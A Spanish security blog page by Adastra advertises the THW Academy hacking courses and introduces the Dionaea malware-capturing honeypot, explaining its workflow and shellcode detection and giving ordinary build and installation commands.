Los que me conocéis o seguís este blog, sabéis que me gusta investigar y compartir lo que aprendo, llevo muchos años con una “sed” de conocimiento que nunca he llegado a saciar y aunque han habido épocas en las que me he sentido muy cansado y desmotivado por situaciones concretas, nunca he claudicado y llevo media vida, casi 15 años, intentando aprender y mejorar mis habilidades a nivel personal y académico, lo hago porque como he dicho en otras ocasiones, para mi esto no es solamente un oficio, representa una filosofía de vida a la que me mantengo fiel y también por eso escribo en este espacio cada vez que puedo.
Todo esto me ha llevado a crear THW Academy (http://academy.thehackerway.com/), una plataforma de aprendizaje totalmente online en la que vas a poder aprender sobre seguridad informática y hacking desde una perspectiva completamente “hands on” o practica. No esperes las típicas clases tradicionales llenas de conceptos teóricos sin ningún tipo de demostración practica, o clases demasiado extensas y aburridas en las que desconectas a los 10 minutos. Todas las sesiones de cada uno de los cursos tienen una parte teórica que suele ser muy concisa y una parte practica en la que se puede ver “al vuelo” cómo se aplican los conceptos teóricos.
Este espacio lo he diseñado con tres niveles de cursos: “Básico”, “Intermedio” y “Avanzado”, cada uno adaptado a su correspondiente nivel. Las personas inscritas en la plataforma podrán acceder a todos los cursos de cada nivel sin ningún tipo de restricción. Se suben varias sesiones todas las semanas que se pueden consultar en el calendario oficial, además tendrás acceso a vídeos en HD, documentación y espacios privados especialmente diseñados para probar técnicas de hacking.
Puedes seguir todos los cursos a la vez o solamente aquellos que sean de tu interés. Es aconsejable ir siguiendo las sesiones de todos los cursos para sacar el máximo provecho de la plataforma, pero el estudiante es libre de seguir únicamente aquellos cursos que decida. En la medida en que los cursos van avanzando, los contenidos van siendo más prácticos y didácticos, el desarrollo de las sesiones semanales es constante y muy dinámico, cada mes vas a tener acceso a varios vídeos que podrás repasar las veces que quieras.
La plataforma se encuentra ubicada en: http://academy.thehackerway.com y como podrás ver en el catalogo de cursos, los que se encuentran disponibles actualmente son los siguientes:
“Básico”
THWB1: Introducción a la programación en Python.
THWB2: Introducción a la privacidad y el anonimato.
THWB3: Introducción a la programación en Ruby.
THWB4: Introducción al pentesting y al hacking.
“Intermedio”
THWI1: Pentesting en aplicaciones web.
THWI2: Administración y hardening de servidores web Apache.
THWI3: Desarrollo web seguro con Java.
“Avanzado”
THWA1: Hacking con Python.
THWA2: Uso y configuración avanzada de I2P y Freenet.
THWA3: Uso y configuración avanzada de TOR.
Son 10 cursos a los que vas a tener acceso por el mismo precio y además hay promociones que te podrían interesar. El calendario oficial incluye la planificación de las sesiones que se van a publicar durante los próximos meses con sus correspondientes contenidos, el cual puedes consultar en el siguiente enlace: http://academy.thehackerway.com/calendario-oficial además, puedes ver más detalles sobre THW Academy aquí: http://academy.thehackerway.com/cuentame-que-es-esto
En los próximos meses también tengo planificados cursos sobre Arquitectura de ordenadores, introducción a ensamblador, Fuzzing y explotación de software avanzado en sistemas Windows y Linux.
Esto es lo que tengo para toda la comunidad, quiero compartir lo que constantemente he ido aprendiendo en los años que llevo dedicado a esto y todo lo que me queda por aprender. Creo que está es una buena forma.
Como siempre, si quieres comentarme cualquier cosa o necesitas más información, me puedes escribir a adastra@thehackerway.com
Saludos y Happy Hack!
Adastra.
HoneyPots Parte 2 – Introducción a Dionaea
Dionaea es un honeypot realmente interesante, ya que su principal objetivo es la captura y análisis de muestras de malware. Es capaz de levantar varios tipos de servicios y esperar a que los atacantes intenten hacerse con el control de dicho servicio por medio de peticiones maliciosas y el envío de payloads. Dionaea utiliza la librería libemu para la detección de shellcodes y tal como se ha mencionado en un articulo anterior sobre dicha librería, se utilizan heurísticas GetPC/GetEIP para determinar si un payload determinado es malicioso y en algunos casos, ejecutarlo en un entorno controlado de ser necesario.
Una instancia de Dionaea puede levar varios tipos de servicios, entre los que destacan HTTP, FTP, TFTP, SMB, entre otros. Cada uno de estos servicios se encuentra especialmente preparado para captar la atención de un atacante y que intenté enviar una muestra de malware, ya que al final de cuentas, es el objetivo de este honeypot.
El funcionamiento general de Dionaea se resume de una forma muy bien explicada en el sitio web oficial del proyecto (http://dionaea.carnivore.it/) sin embargo, también intentaré explicarlo de la mejor forma que pueda en los siguientes párrafos.
Antes que nada, este honeypot sigue un “workflow” bastante simple en el que se definen cada una de las fases de captura, detección, análisis y posterior categorización de muestras de malware, dichas fases se resumen brevemente a continuación:
Conectividad y protocolos soportados por Dionaea
Una de las principales características de este honeypot, es que soporta rutinas no bloqueantes, lo que mejora considerablemente el desempeño general del sistema y permite ejecutar múltiples operaciones de escritura y lectura sobre uno o varios sockets sin necesidad de esperar una respuesta por parte del receptor. Estas características en Dionaea son implementadas utilizando Python y tal como os comentaba en algún post anterior, para crear “corutinas” se puede utilizar el módulo asyncio que ya viene incluido en a partir versión 3.x de Python, así como también otros módulos como Twisted o Tornado que sirven básicamente para lo mismo. Dionaea en este caso utiliza el módulo asyncio y además, también utiliza las librerías libudns y libev para peticiones DNS no bloqueantes y recibir notificaciones sobre diferentes tipos de eventos en el entorno de red respectivamente.
Por otro lado, tal como se puede apreciar también en la documentación, los protocolos soportados por Dionaea son implementaciones propias del honeypot y en algunos casos, como por ejemplo para el servicio SMB, se implementan completamente en Python.
Intentos de explotación y detección del malware
Cuando un atacante comienza a comprobar que el supuesto servicio puede ser vulnerable, lo más probable es que comience a atacarlo por medio de peticiones maliciosas y el envío de payloads que puedan “reventar” el proceso remoto. En este caso, el proceso de perfilado es realizado por Libemu registrando todas las invocaciones a las funciones del sistema con sus correspondientes argumentos, es decir, haciendo un “hooking” de cada una de las funciones definidas en el programa. No obstante, existen muchos shellcodes que son “multi-stage”, los cuales ejecutan una rutina de código simple que únicamente se encarga de descargar de un sitio remoto otro(s) shelcode(s). En este caso concreto, únicamente registrando las invocaciones a las funciones del sistema no seria suficiente para perfilar el programa y por este motivo, Dionaea también permite la ejecución del shellcode con el fin de determinar cuál es el objetivo del programa. Evidentemente, para esto muy posiblemente será necesario permitir que el shellcode realice conexiones de red, por este motivo es muy recomendado ejecutar el honeypot en una máquina virtual y de ser posible, aislada del segmento de red interno.
Finalmente, cuando el shellcode ha sido perfilado tras el registro de las funciones invocadas y/o las conexiones de red que se han llevado a cabo tras la ejecución del programa malicioso, Dionaea es capaz de determinar la intención del programa y categorizarlo. Las categorías que maneja Dionaea para clasificar muestras de malware son: Consolas bind y reversas, programas que ejecutan la función WinExec, programas que utilizan la función URLDowloadToFile y payloads multi-staged.
Registro y sistema de incidentes
Finalmente el honeypot procede a guardar una copia del shellcode y a registrar cada una de las acciones que ha realizado el programa para posterior análisis. Por otro lado, también cuenta con un sistema de incidentes que permite ver rápidamente las conclusiones más relevantes sobre el programa analizado, sin necesidad de navegar por enormes ficheros de log en busca de dichos resultados.
Instalación de Dionaea
Cuando se le echa un vistazo al proceso de instalación explicado en la página web de Dionaea, muy probablemente lo primero que piensa más de uno es “esto no lo instala ni dios”, pero la realidad es que el proceso es bastante simple, siempre y cuando se sigan todos los pasos explicados y se cumpla con todas las dependencias exigidas. Algunas de dichas dependencias casi seguro ya se encuentran en el sistema mucho antes de comenzar con la instalación, tales como libcurl o LibEmu si has seguido el articulo anterior, pero la mayoría deben instalarse manualmente desde el código fuente de cada una de las dependencias.
Como regla general, es mejor seguir cada uno de los pasos descritos en el siguiente enlace: http://dionaea.carnivore.it/#compiling Además, tener en cuenta que el “prefijo” (opción prefix del ejecutable “configure”) debe apuntar al directorio “/opt/dionaea” por lo tanto dicho directorio debe ser accesible para el usuario con el que se realice el proceso de instalación. Una recomendación que lo permitirá instalar rápidamente, consiste en descargar y desempaquetar todas las librerías en el directorio “/opt” y ejecutar la construcción (configure), compilación (make) e instalación (make install).
Después de instalar todas las dependencias, es necesario descargar el proyecto desde el GitHub y para ello, también se puede ubicar en el directorio “/opt”, pero asignando un nombre distinto al directorio de salida, ya que “/opt/dionaea” ya existe y contiene todas las librerías y dependencias que se han ido instalando. Se puede ejecutar algo como esto:
git clone git://git.carnivore.it/dionaea.git dionaea-git |
Posteriormente, desde el directorio “/opt/dionaea-git” se puede ejecutar el mismo procedimiento de instalación descrito en la página.
En mi caso concreto, no he tenido ningún problema instalando Dionaea en sistemas Debian Squeeze y Wheezy, sin embargo, en el caso de Ubuntu, en la versión 14.04 hay un problema con el enlazado de la librería “libcrypto” dando un error similar al siguiente cuando se ejecuta el comando “make”.
| /usr/bin/ld: note: ‘X509_gmtime_adj’ is defined in DSO /lib/libcrypto.so.10 so try adding it to the linker command line
/lib/libcrypto.so.1.0.0: could not read symbols: Invalid operation |
En tal caso es necesario realizar el enlace de dicha librería de forma manual. Para ello, es necesario dirigirse al directorio “/opt/dionaea-git/src” y ejecutar la utilidad “libtool” para enlazar a la librería “libcrypto.so”
| ../libtool –tag=CC –mode=link gcc -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -I/opt/dionaea/include/ -I../include -I .. -fno-strict-aliasing -std=c99 -D_GNU_SOURCE -D_GNU_SOURCE -I/opt/dionaea/include -DEV_COMPAT3=0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -pthread -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/opt/dionaea/include/ -Wall -Werror -Wstrict-prototypes -g -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -pthread -Wl,–export-dynamic -pthread -o dionaea dionaea-dionaea.o dionaea-dns.o dionaea-refcount.o dionaea-node_info.o dionaea-util.o dionaea-connection.o dionaea-modules.o dionaea-pchild.o dionaea-log.o dionaea-signals.o dionaea-incident.o dionaea-threads.o dionaea-bistream.o dionaea-processor.o -L/opt/dionaea/lib /opt/dionaea/lib/libev.so -lm -lgthread-2.0 -lgmodule-2.0 -lrt -lglib-2.0 -L/opt/dionaea/lib/ /opt/dionaea/lib/liblcfg.so -L/usr/local/lib -lssl -ludns -pthread -Wl,-rpath -Wl,/opt/dionaea/lib -Wl,-rpath -Wl,/opt/dionaea/lib /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 |
Notar que ha sido necesario especificar la ubicación de la librería y en este caso concreto, se encuentra en “/lib/x86_64-linux-gnu/libcrypto.so.1.0.0” pero evidentemente puede cambiar un poco dependiendo del sistema y de la arquitectura utilizada.
Después de ejecutar los comandos de compilación e instalación en “dionaea-git”, se generará un ejecutable con nombre “dionaea” junto con otras utilidades en el directorio “/opt/dionaea/bin”.
Para comprobar que la instalación ha sido correcta y que se puede levantar el honeypot normalmente, se puede ejecutar la utilidad “/opt/dionaea/bin/dionaea” de la siguiente forma.
| > ./dionaea -l all,-debug |
Se podrán ver varias trazas relacionadas con el arranque de cada uno de los servicios del honeypot, pero tal como se puede ver en el listado de interruptores de la herramienta, se trata de un software que es altamente configurable y con el que se pueden crear soluciones defensivas y de alerta temprana muy interesantes.
| >./dionaea -H
Dionaea Version 0.1.0 Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2 Started on Galilei running Linux/x86_64 release 3.13.0-46-generic Dionaea Version 0.1.0 Compiled on Linux/x86_64 at Mar 12 2015 00:17:48 with gcc 4.8.2 Started on Galilei running Linux/x86_64 release 3.13.0-46-generic -c, –config=FILE use FILE as configuration file Default value/behaviour: /opt/dionaea/etc/dionaea.conf -D, –daemonize run as daemon -g, –group=GROUP switch to GROUP after startup (use with -u) Default value/behaviour: keep current group -h, –help display help -H, –large-help display help with default values -l, –log-levels=WHAT which levels to log, valid values all, debug, info, message, warning, critical, error, combine using ‘,’, exclude with – prefix -L, –log-domains=WHAT which domains use * and ? wildcards, combine using ‘,’, exclude using – -u, –user=USER switch to USER after startup Default value/behaviour: keep current user -p, –pid-file=FILE write pid to file -r, –chroot=DIR chroot to DIR after startup, warning: chrooting causes problems with logsql/sqlite Default value/behaviour: don’t chroot -V, –version show version Default value/behaviour: -w, –workingdir=DIR set the process’ working dir to DIR Default value/behaviour: /opt/dionaea examples: # dionaea -l all,-debug -L ‘*’ # dionaea -l all,-debug -L ‘con*,py*’ # dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid |
En este corto articulo solamente se han visto las principales características de Dionaea, pero aun no se ha visto en ejecución utilizando algunos de los interruptores soportados por la herramienta y con opciones de configuración personalizadas en el fichero “dionanea.conf”. Esto es lo realmente interesante y lo explicaré en el próximo articulo que publicaré en este blog.
Saludos y Happy Hack!
Adastra.
Servicios en TheHackerWay
Descubre los productos y servicios enfocados a la seguridad informática que ofrecemos en TheHackerWay
Deep web: Privacidad y anonimato.
Compra el libro de "Deep Web: TOR, FreeNET & I2P - Privacidad y Anonimato"
Hacking con Python
Compra el libro de "Hacking con Python".
Python para Pentesters
Compra el libro de "Python para Pentesters".
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
